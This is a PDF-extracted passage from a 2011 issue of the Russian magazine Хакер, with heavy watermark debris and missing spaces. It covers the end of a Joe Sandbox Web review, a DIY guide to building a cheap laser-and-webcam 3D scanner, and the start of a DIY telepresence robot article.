ВообщеподобнаярасширяемостьдаетJoeSandboxWebстоочков впередпереддругимиконкурентами.Ещеоднойкиллер-фичей являетсявозможностьиспользованияAutoIt-скриптов,чтобыопре- делитьдействия,которыедолжныпроисходитьвовремяанализа малвари.Тоестьможночеткоавтоматизироватьлюбоевзаимодействиессистемойиприложениями(браузингопределенныхстраниц, заполнениеформ,установкуприложенияитакдалее).Тутнадо понимать:многиеиздействиймалварьвыполняеттольковслучае возникновенияопределенныхсобытий.Кпримеру,банковскийтрой можетсобиратьданныеформтолькоприпосещениипользователем определенныхсайтов.Сервиспозволяетобработатьподобнуюситуацию.Спомощьюпростогоскриптамыможемполучитьнепросто отчетотом,чтопроисходитвсистемепослезапускаисследуемого приложения,ноиполныйанализтого,чтопроисходитпривозникновенииобозначенныхсобытий.Сценарии позволяютещеиуправлять анализирующимдвижком:кпримеру,создаватьпринеобходимости скриншотэкранаиливключатьвнужномместеснифердляперехвататрафика.ИэтолишьмалаячастьвозможностейJoeSandboxWeb. Правда,вбесплатнойверсиисервисаонидоступныневсе.Адля получениядажебесплатногоаккаунтапридетсянаписатьписьмоего создателю.Ксчастью,отвечаетонбыстро. z
ХАКЕР 10/153/2011 |
033 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
PCmZONE |
||||||
w Click |
|
||||||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
3D-сканер за$30
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
ЭдуардwГузьClick |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
КАКСОЗДАТЬ 3D-МОДЕЛЬ ЛЮБОГОПРЕДМЕТА ПОДРУЧНЫМИ СРЕДСТВАМИ
Профессиональный3D-сканер, спомощьюкоторогоможно оцифроватьреальныйобъект, получивегокомпьютерную модель,стоитдесяткитысяч долларов.Мыжесможемпровернутьтожесамоеспомощью специальнойпрограммы,лазер- нойуказкиивеб-камеры.Всего долларовзатридцать.
WWW
Насайтеразработчикаwww.davidlaserscanner.
comестьпрекрасное руководствонарусскомязыке.Прочти егообязательно!
Тамоченьподробно описаныитребованиякоборудованию,
ипоследовательностьсканирования,
иразныенюансы, которыемогутутебя возникнуть.
О3D-СКАНИРОВАНИИ
Многиесферынашейжизнинемыслимыбезтрехмернойграфики. Огромнаяармия3D-моделлеров(илипопросту3D’шников)ежедневно создаетмодели,которыепотомуспешноиспользуютсявсамыхразных областях,начинаяоткинематографа,рекламы,промышленногопроизводства,архитектурыизаканчиваябогзнаетчемеще.Любойчеловек,занимающийсямоделированием,раноилипоздносталкивается соследующейзадачей:нужносоздатьмодельтого,чтоужесуществует внашемтрехмерноммире.Этоможетбытьчтоугодно.Например, модель-прототип,которуюнатвойстолположилзаказчикипопросил сделать«точнотакже,тольковкомпьютере».Причемсмоделировать нужнонепросточтобы«былопохоже»,ачтобыобъект-прототипи трехмернаямодельбыликакблизнецы-братья,разделенныеэкраном компьютера.Такслучилосьисомной.Выполняяочереднойзаказпо моделированию,ястолкнулсясоченьжесткимитребованиямипосоответствиюмоеймоделиобразцуклиента.Послеэнногобезуспешного согласованиясталоясно,чтовэтотразнужнаабсолютнаяточность модели.Вовсякомслучаеклиентбылуверен,чтовпротивномслучае еслииненаступитАрмагеддондлявсегочеловечества,топокрайней мереслучитсячто-топохожее.Чтомнеоставалосьделать?Попро- бовать,наконец,3D-сканирование!Ятогдаещеподумал:«Этоже моделированиедляленивых».Минутадела—ивсё,модельготова!К моемувеликомуудивлению(иразочарованию),оказалось,чтодаже самыйпростенький3D-сканерстоитбольшихденег.Вернееговоря, оченьбольших.Чтобыегокупить,ядолженбылумножитьстоимость этоймоделиначислоспятьюнулями.Норазнельзякупить,значит, будемделатьсами.Нижеяхочуподелитьсястобойопытом,какможно собрать3D-сканерсвоимируками.Янетолькорасскажу,какиекомпо- нентыигдекупитьдляэтого,ноикакэтимсканеромпользоваться.
034 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Чтонам понадобится?
Смастеритьсвой3D-сканер,какоказалось, можнобуквальноизподручныхматериалов: нампотребуетсяспециальнаяпрограмма,ла- зернаяуказка,веб-камера,атакженекоторые самодельныеприспособления.
СПЕЦИАЛЬНЫЙСОФТ
Самойважнойчастьюсканера,втом числедорогостоящегопрофессио- нального,являетсяегомозг—про- граммноеобеспечение,которое выполняетоцифровку.То,чтонеобхо- димонам,—этоинструменты,которые позволяютсканировать/оцифровыватьтрехмерныеобъектыспомощью подручныхсредств:веб-камерыи лазернойуказки.Таковымиявляют-
сяDAVID-laserscanner(www.david-laserscanner.com)иTriAngles
(www.intricad.com),доступныедлясвободноготестирования,нос некоторымиограничениями.Последнийимеетдовольнонеприятное ограничение:дляегоработынеобходимравномерновращающийся столик,накоторомбудетрасполагатьсясканируемыйобъект.Ктому жепредъявляютсясуровыетребованияксамомуобъекту.Егоформа должнабытьблизкакцилиндрической,аещелучше—сферической. DAVID-laserscannerподобныхтребованийнепредъявляет,поэтому явыбралего.Несмотрянаточтопрограммаплатнаяиеестоимость колеблетсяот199до229евро,тестироватьееможноскольугодно долго—лимитовповременинет.Единственноеограничениезаклю- чаетсявособенностяхсохранениярезультатовсканирования.Сохранитьсканыможно,новнизкомкачестве.Впрочем,напросторахСети иногдаслучаютсячудеса,иеслитебеудастсянайтиверсиюDAVID’а, котораясохраняетввысокомкачестве,значит,тысэкономишьина этом.Актоищет—тотвсегданайдет.
ВЕБ-КАМЕРА
Параметрыобъекта,необходимые длясоставленияобъекта,программа считываетспомощьювеб-камеры. Она,возможно,утебяесть.Еслитак— прекрасно,можешьпопробовать провернутьвсёсней.Главное,чтобы разрешениебылонеменьше640х480. Естьидругиетребования:наличие ручнойфокусировки(возможности отключатьавтофокус),минимумшумов
привысокомразрешении,качественнаялинзакамеры—линзане должнадаватьсильныхискажений.Камерадолжнаподключаться кUSB-портуиработатьнаWDM-драйверах(т.е.,попростуговоря, должнабытьвиднадлявыборавпрограммеDAVID).Большинствосо-
временныхвеб-камерудовлетворяютэтимтребованиям,нопроверить ихсовместимостьсDAVIDможемтолькомыстобой,поэтомудоверимся рекомендациямсоздателейпрограммывоизбежаниевсякихнеожиданностей.ИздешевыхкамерсамразработчикрекомендуетLogitech WebCamPro9000withcamholder,которуюможнокупитьдолларовза сто.ЯжеуспешновыполнялсканированиямоейLogitechС270стоимостьюоколо35долларов.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
3D-сканерзаw$Click30 |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ЛАЗЕРНЫЙМОДУЛЬ
Дляработысканеранеобходимкомпонент,которыйбудетдаватьлинию. Именнолинию,анеточку.Этоважно!На форумахяпрочел,чтоподойдетобычная китайскаялазернаяуказка,ноэтоне так.Какбыбыстротыниводилрукой, вооруженнойлазернойуказкой,это всёнето.Чутьпозжеяобъяснюпочему. Сейчасважноодного—нуженсканер, которыйдаетлинию.Красный,зеленый,
синий—цветсканераневажен.Вообщеможнообойтисьибезсканера, воспользовавшисьальтернативнымирешениями(читайвоврезке).Но лазерныймодуль—этосовершенноточносамыйпростойидоступный вариант.Яприобрелмодулькрасноголазера650нМсфокусировкой линиимощностью5мВт,онстоил25долларов.Такойможнокупитьгде угодно,напримервхозяйственноммагазинеиличерезинет,какэто сделаля(кажется,вwww.greenlaser.com.ua).Модулибольшеймощности(до20мВт)нерекомендуюприобретать,таккакихиспользование целесообразновоченьредкихслучаях.Естьготовыемодулисавтоном- нымпитанием—еслинайдешь,токупилучшетакой.Мнежедлясвоего лазерногомодуляпришлосьсоздатьнебольшуюоснастку,чтобыбыло удобнодержатьвруке,включать/выключать.Запиталяегообычной кроной9В:красныйпровод«+»,черный«-»:еслинаоборот,тобудет гретьсяи,какрезультат,выйдетизстрояраньшевремени.
КАЛИБРОВОЧНЫЙУГОЛ.
Ориентироватьсявпространстве, получаявозможностьсчитывать параметрыизображения,позволяет программеспециальнаяприспосо- ба—калибровочныйугол.Небойся, этосамыйдешевыйкомпонент, представляющийсобойдвалистасо специальнонанесеннымимаркерами,которыенужнорасположитьпод углом90°.ПослеустановкиDAVID’аты
найдешьфайлывформатеPDFилиCDRвкорневомкаталоге,например«Calibpoints_Scale30_DIN_A4.pdf».Илисаналогичнымименем, новформатеCDRдляпечатиизCorelDraw.Выберитотфайл,название которогосоответствуетформатубумаги,накоторойтысобираешься печатать.Вообщесоветуюисходитьотразмерасканируемогообъекта.Нестоитделатьбольшойугол,еслитысобираешьсясканировать маленькиеобъекты.Дляначалавполнеподойдуткалибровочные листыформатаА4.Сложнеезакрепитьихподправильнымуглом.Свой первыйуголясделалтак—простосогнулбелыйгофрокартон,закре- пилегонаоснове,послечегоприкрепилстыквстыккалибровочные листы.Лучшеихнеклеить,таккаклистыстанутволнистыми—это недопустимо.Вместоэтогоможноаккуратноприкрепитьихпокраям скотчем.Долженсказать,чтопослепервыхжескановсталопонятно, чтоуголнеидеальный.Поэтомупришлосьвсёпеределать:ясоединил двакускаДСП,скрепивихуголками.Получилосьхорошо:угол90°, поверхностьидеальноровная—всегоэтогонельзябылобыдобиться сгофрокартоном.Словом,тутестьмножествовариантов.
НИВКОЕМСЛУЧАЕНЕНАПРАВЛЯЙЛУЧПРЯМОВГЛАЗА. ЭТООЧЕНЬОПАСНО,ТАККАКЯРКОСТЬЛУЧАНАСТОЛЬКО ВЕЛИКА,ЧТОДАЖЕКРАТКОВРЕМЕННОЕПОПАДАНИЕВ ГЛАЗМОЖЕТВЫЖЕЧЬСЕТЧАТКУГЛАЗА.ПОПАДАНИЕНА КОЖУНЕОПАСНО. ВООБЩЕРЕКОМЕНДУЮПРИОБРЕСТИ СПЕЦИАЛЬНЫЕОЧКИДЛЯРАБОТЫСЛАЗЕРОМ,НОЭТОУЖЕ ПОТОМ,АНАПЕРВЫХПОРАХМОЖНОИБЕЗНИХ.
ХАКЕР 10/153/2011 |
035 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
PCmZONE |
||||||
w Click |
|
||||||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
Какэто происходит?
Теперьсамоеинтересное—приступаемксамомупроцессуска- нирования.Оглянисьвокруг:вкомнатенаверняканайдутсякакие- нибудьсувенирыилистатуэтки—дляэкспериментовподойдет любойнебольшойобъект.Чтоточнонегодится,такэтопрозрачные илиполупрозрачныепредметы.Лучлазерадолженотражаться,ане поглощатьсяпредметами.СоздателиDAVID’арекомендуютвтаких случаяхпокрыватьпредметыталькомили,еслинежалко,аэрозольнойкраской.Янеутруждалсебяивзялнесколькостатуэток. Условновпроцессесканированияможновыделитьчетыреэтапа, расскажуокаждомподробнее.
1ЭТАП
Калибровка
Этопредварительныйэтап,поэтомуобъектдлясканированияпока отложимвсторону.Закрепивеб-камерунапротивкалибровочногоугла такимобразом,чтобывсекомпонентыбылинеподвижныотносительнодругдруга.Камерустоитрасположитьнауровненижнегокрая калибровочныхлистов.Вовремякалибровкикамерыизображение должнобытьярким.Явыполнялсканированиевечеромилиднем,но сзатененнымокном,акалибровочныйуголосвещалискусственным светом.СамакалибровкаосуществляетсявDAVID-laserscanner. Выбираемизспискаустройствнашувеб-камеру,настраиваемизо- бражение:повышаемяркость,контраст.Врезультатенаэкраневидны толькочерныемаркеры.Жмемкнопку«Калиброватькамеру».Если
Настраиваемсканер
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Сканирование:сосветомибез
всёсделаноправильно,программапоздравиттебя,чтокалибровка прошлауспешно.Впротивномслучаеможнопопробоватьизменить положениевеб-камеры,поигратьсясяркостьюиконтрастом.Уменя получилосьнеспервогораза,нопотомрадостибылокакпослепервой сданнойсессии!
2ЭТАП
Размещениеобъекта
Длясканированиянеобходиморасположитьобъектвуглукалибровочногоугла.Длялучшегорезультатаондолженбытьприблизительнопосерединекалибровочныхлистов.Еслиегоразмерынебольшие,можно использоватьподставку:коробку,книги,деревянныйбрусокподходящегоразмера.Укажипрограмметиписпользуемоголазера.Далее тушимсвет!Наэкранедолжнобытьтемно.Еслинетак—понижаем значенияяркости.Непугайся,еслимаркеровневидно:программа запомнилаихрасположение,итеперьонинамнестольважны.Включи лазеринаправьегонауголчутьвышенашегопредмета.Наэкране должнапоявитьсяломанаябелаялиния(программаанализирует черно-белоеизображение).Расстояниемеждукамеройиплоскостью лазера(т.е.триангуляционныйугол)должнобытьнастолькобольшим, насколькоэтовозможно,—этонужнодлябольшейточности.Иначеты увидишьпредупреждение:«Уголпересеченияслишкоммал».Вначале статьияотговорилтебяотиспользованияточечнойлазернойуказки, ивотпочему.Дажебыстроводяточечнойуказкой,тынетольконеполучишьровнуюлинию,ноипрограмманесможетпосчитатьвеличину триангуляционногоугла.
3ЭТАП
Сканирование.
Процесссканированияначинаетсяпосленажатиякнопки«Старт».Не- обходимопровестипообъектулучомвниз-вверхнесколькораз,чтобы программачерезвеб-камерусчиталапараметрыобъекта.Тутесть важныймомент:нужноповорачиватькистьслазером,анеопускать руку!Скоростьневажна,нонестарайсяделатьэтооченьбыстро.При сканированииячащесмотрелненаобъект,анаэкран,глядя,какпрограммаанализируетформупредмета,вырисовываянаэкранецветные линии.Смотретьнаэкранудобнееподвумпричинам.Во-первых,если
ЕСЛИТЫНЕХОЧЕШЬУТРУЖДАТЬСЕБЯИТЕБЕНЕЖАЛКО $500,МОЖЕШЬПРИОБРЕСТИDAVID-LASERSCANNER STARTER-KIT,КОТОРЫЙСОДЕРЖИТИЛАЗЕРНЫЙМОДУЛЬ, ИВЕБ-КАМЕРУLOGITECHPRO9000,ИКАЛИБРОВОЧНЫЙ УГОЛ,ИUSB-ФЛЕШКУСПРОГРАММОЙ.
036 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
3D-сканер
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
заw$Click30 |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Промежуточныйрезультатсканирования
линиялазеранебудетвиднасобеихсторонпредметаилинедостаточнымбудеттриангуляционныйугол,программасразувыдастсообщение (итысможешьэтоисправить).Во-вторых,смотретьналазерутоми- тельнодляглазиз-завысокогоконтрастамеждучернымфономи яркимлучом.Пройдяпопредметулучомвниз-вверхстолько,сколько потребуется,жмемкнопку«Пауза».Теперьможносохранитьрезультат сканированиявотдельныйфайлспомощьюкнопки«Сохранить».Есть другойвариант—сразупередатьизображениедляпоследующего сшиваниясдругимисканами,нажавкнопку«Перенести».Принажатии «Перенести»сканпередаетсянаследующийэтап(склейку)безсохранениявфайл,нотекущийэтапмынепокидаемиможемповторить сканирование,изменивположениеобъекта(незабудьпередновым сканированиемнажатьнакнопку«Стереть»).Тутважнопонимать:для созданиямоделинеобходимосделатьнесколькосканов.Дляпростых предметовтебебудетдостаточноповорачиватьобъект,например,на 45°.Еслиповерхностьпредметасложная,топотребуетсясканировать егосразныхсторонилишьпотомсшиватьсканы.Ещеодинважный момент:сканыобязательнодолжныперекрыватьдругдруга,чтобы программебылолегчеанализироватьих.
4-ЙЭТАП
Сшиваниеформ
Последнийшагпередполучениеммодели—этосклейкасканов.Если тынесохранялсканы,апередавалихнасклейкуспомощьюсоответствующейкнопки,томожешьприступатьксшиваниюсразу.Впротивномслучаежмемкнопку«Добавить»изагружаемранеесохраненные файлы.Процесссшиванияможноразделитьнадваэтапа:стыковка скановисобственносшивание.Выбираяпопарносканы,тыуказываешьпрограмменаметодстыковки.DAVIDсправляетсясэтимочень дажезамечательноприусловии,чтоестьчемустыковаться—сканы должныперекрыватьдругдруга.Еслилоскутынеперекрываются,тебе
Самодельный3D-сканерпозволяетполучитьнеплохойрезультат
придетсявернутьсянапредыдущийэтапиосуществитьсканирование изтехположенийобъекта,которыедадуттакоеперекрытие.Выполнив стыковкудлявсехсканов,жмемнакнопку«Сшить».Взависимости отвыбранныхнастроекчерезнесколькосекундмыувидимрезультат сшиваниявсехскановвединуюмодель.Жмемкнопку«Сохранить». ТеперьможнозагрузитьнашумодельвZBrushилиMudboxидовестиее досовершенства.Модельготова!
ВпрограммеTriAnglesблагодарявращениюпредметаформированиеоцифрованнойповерхностипроисходилобыавтоматически,этоее преимуществопередDAVID’ом.Нокакбыонасправиласьсформированиемповерхностив«мертвых»зонах?Думаю,никак.Либовэтихместахмыбыполучилипогрешность.Мыжехотелиполучитьмоделькак можноболееточную.Поэтомудополнительныедействияпосшиванию скановбудемсчитатьнеобходимымииздержками.
Дорабатываемготовуюмодельв3D-редакторе
|
|
|
|
ВМЕСТОЗАКЛЮЧЕНИЯ |
|
|
ЕСЛИНЕТЛАЗЕРА |
Собрать3D-сканер,которыйбудетвыдаватьболеечемприличный |
|||
|
результат,вполневозможнодома.Надеюсь,тывэтомсможешьубе- |
||||
|
|
|
диться.Ксожалению,длясканированиямаленькихобъектов(амне |
||
|
|
|
нужнобылосоздатьобъектыдляювелирныхизделий)нужнаочень |
||
|
|
ля3D-сканированияобъектаможнообойтисьибезлазера(янешучу). |
хорошаяUSB-камераcCCD-матрицей,которойуменянет(онадоста- |
||
|
Д |
||||
|
Подойдетпроектсмощнойлампой,светкоторойнужнонаправить |
точнодорогая),поэтомумойопыттакиосталсяопытом:применить |
|||
|
|
сквозьузкующельнасканируемыйобъект.Получимузкуюбелуюли- |
егонаделедлясканированияювелирныхизделийнеполучилось.Но |
||
|
нию—чемнебелыйлазер?Правда,помимопроектора(которыйнедёшевсам |
яиспыталнезабываемоеудовольствие,получаяполноценныемоде- |
|||
|
посебе)нужнаещеисерьезнаяоснасткадляудержанияпроекторавнужном |
лисамыхразныхобъектовспомощьюсканера,которыйбылсобран |
|||
|
положении.Этогеморройно.Можнопойтиотобратного—направитьяркий |
буквальнонаколенке. z |
|||
|
свет,апообъектупровеститеньюотнатянутойнити:такоетожепредусмотрено |
|
|
|
|
|
разработчикамипрограммы.Вэтомслучаепрограммаможетинвертировать |
|
|
|
обрабатываемуюкартинку.Однакочто-томнеподсказывало,чтоэтонедаст хорошегорезультата.
ХАКЕР 10/153/2011 |
037 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|||
|
|
|
|
to |
PHREAKINGm |
||||
w Click |
|
||||||||
|
|
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
Видеочатна колесиках
ДЕЛАЕМБЮДЖЕТНОГО РОБОТАТЕЛЕПРИСУТСТВИЯ ЗА300ДОЛЛАРОВ
СергейСильнов
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
(po.kumekay.com)w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Ботытелеприсутствия—Skype-фонынаколеси- ках—позволяютнаходитьсявдвухместаходно- временно,чеммогутнеплохосэкономитьвремя. Правда,серийныемоделистоятот5000долларов, такчтодоступностьунихограничена.Ноотчаиватьсянестоит,ведьнедорожечемза300долларовтыможешьсделатьтакогороботасам!
ДЛЯЧЕГО?
Класснопоройгде-нибудьтелеприсутствовать.Например,сидетьдомав халатесчашечкойароматногокофе,авдушнойпереговоркеподнадоевшегоофисабудетшуршатьмоторамироботтелеприсутствияипередаватьколлегамкартинкутвоегоулыбающегосялица.Отнеобходимости следитьзапроисходящимивовремявставлятьсвоиидеион,конечно,не спасет,нокомфортадобавитьможет.Ещетакойроботпоможетобщаться слюбимой,находящейся вдругомгороде,даиприглядетьзаней,если что.Чтобытакойроботутебяпоявился,нужно,во-первых,егособрать: шасси,управлениедвигателями,нетбук(мозг,камераиэкран),авовторых,нужнозапрограммироватьклиентскуюисервернуючасть.Но теперьобовсемподробно.
ШАССИ
Роботанужноделатьдостаточнокрупнымивысоким,чтобыонбылустойчивым,аэкранчтобыбылнесильнонижеуровняглаз.Нестинаборту нашемуроботупридетсяувесистыйсвинцово-кислотныйаккумулятор (оптимальныйвыбор12В,7Ач,600руб.)инетбук,поэтомуплатформа должнавыдерживатьнагрузкув10–15кг(тогдаможнобудетипарубано- чекспрохладнымпенящимсяквасомизхолодильникананемвозить).
Теперьопределимсясколичествомколес.Всовременномтелероботостроениимодноиспользоватьдвухколесныетележкивстиле Segway.Сделатьтакуюштуковинувдомашнихусловияхвцеломреально, нодовольномуторновслучаесозданиякрупныхроботов.Поэтомуя предлагаюограничитьсяболеепростымвариантом—добавитьтретье опорноеколесо.Вкачестветретьегоколесаподойдетнедорогое(35 рублей)вращающеесяколесикодлямебели.Дляособойустойчивости дополнительныхколесможновзятьидва.
Вкачествеведущихколескрутоиспользоватьколесадлясадовых тачекилидлятележекизсупермаркета.Внихчастовстречаются встроенныеподшипники,которыеупрощаютзадачусозданияведу- щейчасти.Всёвниххорошо,толькоплатитьпо500–700рублейзаодно колесосовсемнеохота.Естьвариантболеебюджетный—исполь- зоватьбоковыеколесикидлядетскихвелосипедов.Унихидиаметр вполнедостаточный—13см,ишириныв2,5смхватаетдлянадежного сцеплениясполом(дажепоковруездитнепроскальзывая).Стоятэти колеса130рублейзапару.
Теперьовыборемоторов.Роботнехилый,ивсякимипластиковыми хлипкимимотор-редукторамиизкитайскихигрушечныхмашинокздесь неотделаться.Популярныйвариантдлятакихроботов—использовать вазовскиемоторыдлястеклоподъемниковилистеклоочистителей.
Самыйбольшойихнедостатоквтом,чтоониоборудованычервячными мотор-редукторами,которыенеимеютобратнойсвязи(т.е.неполучится, покрутивколесо,передатьвращениенамотор;колесовообщесамопо себепокрутитьнеполучится).Прирезкихторможениях,когдаинерции вколесеещемного,амоторужеотключен,всяэнергияпойдетнаполомкушестеренок,идолгоонинепроживут.Проблемапобольшейчасти решаемая—нужнопростоплавновключатьивыключатьмотор,ноесть заэтижеденьги(600–700рублейзамотор)идругое,неменееэлегант- ноерешение:дешевыекитайские12-вольтовыешуруповерты.Уних редукторпланетарный,иподобногонедостаткаунегонет.Доидеалаим тожедалековато:дольшедесятиминутнепрерывноинаполнойскорости крутитьсяэтимоторынесмогут—перегреются,нонапрактикеэтоине нужно,толькоеслинепосылатьроботавдалекиймагазин.Мощностиже иоборотовунихсголовой,такчтоиспользоватьсяонибудутвщадящем режиме.Плюсшуруповертыпродаютсяспатроном,вкоторыйможносразузакрепитьколесоприпомощиболта,чемсильноупроститьведущую часть.
Моторысколесамиещенеобходимоначем-тоукреплять.Можносо- братькоробкудляаккумуляторов,электроникиигрузаизалюминиевого
Клиент |
xmpp |
Сервер |
serial |
Arduino |
(ruby) |
|
(ruby) |
|
|
Схемадвиженияуправляющихданных
038 |
ХАКЕР 10/153/2011 |